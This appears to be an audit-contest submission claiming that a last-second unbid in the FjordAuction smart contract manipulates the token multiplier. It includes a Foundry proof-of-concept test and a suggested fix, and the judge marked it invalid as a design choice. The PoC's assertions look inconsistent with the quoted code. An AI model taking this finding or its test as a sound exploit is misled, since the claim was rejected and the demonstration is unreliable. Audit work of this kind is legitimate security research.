DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Invalid

Multiplier can be manipulated if attacker unbids at the last second

Summary

There are no stipulations on when someone can unbid. A user could bid a very high amount only to unbid just as the auction ends which will manipulate the multiplier used to calculate tokens

Vulnerability Details

User can place a large bid here adding to the total number of bids:

/// location: FjordAuction.sol
function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}

The user can unbid at the last minute just as the auction ends which will manipulate the multiplier variable as it is calculated:

function auctionEnd() external {
if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}
if (ended) {
revert AuctionEndAlreadyCalled();
}
ended = true;
emit AuctionEnded(totalBids, totalTokens);
if (totalBids == 0) {
auctionToken.transfer(owner, totalTokens);
return;
}
multiplier = totalTokens.mul(PRECISION_18).div(totalBids); /// <-- multiplier calculated here
// Burn the FjordPoints held by the contract
uint256 pointsToBurn = fjordPoints.balanceOf(address(this));
fjordPoints.burn(pointsToBurn);
}
```
## Impact
The attacker can greatly influence tokens that can be claimed as the tokens claimed are calculated based on the multiplier which is based on total bids.
Proof of Code:
```solidity
function testLastMinuteUnbid() public {
// Setup auction
uint256 auctionDuration = 1 hours;
uint256 totalTokens = 1000 ether;
FjordAuction auction = new FjordAuction(address(fjordPoints), address(auctionToken), auctionDuration, totalTokens);
// Fast forward to near the end of the auction
vm.warp(block.timestamp + auctionDuration - 5 minutes);
// Attacker places a very high bid
address attacker = address(0x1);
uint256 highBid = 1000000 ether;
vm.prank(attacker);
auction.bid(highBid);
// Fast forward to just before the auction ends
vm.warp(block.timestamp + 299); // 4 mins and 59 secs
// Attacker withdraws their bid
vm.prank(attacker);
auction.unbid(highBid);
// End the auction
auction.auctionEnd();
// Check the auction results by examining the multiplier and total bids
uint256 finalMultiplier = auction.multiplier();
uint256 finalTotalBids = auction.totalBids();
// Ensure that the totalBids reflect the absence of the attacker's bid
assertEq(finalTotalBids, 0, "Total bids should be 0 after the attacker unbids");
// Ensure the multiplier is correctly calculated
uint256 expectedMultiplier = totalTokens.mul(10e18).div(finalTotalBids == 0 ? 1 : finalTotalBids);
assertEq(finalMultiplier, expectedMultiplier, "Multiplier should be correctly calculated based on remaining bids");
}

Tools Used

Manual review

Recommendations

Install a locking mechanism to prevent unbids at the last minute.

uint256 public constant UNBID_LOCK_PERIOD = 1 hours;
function unbid() external {
require(block.timestamp <= auctionEndTime - UNBID_LOCK_PERIOD, "Unbidding locked before auction end");
// Rest of the unbid logic
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.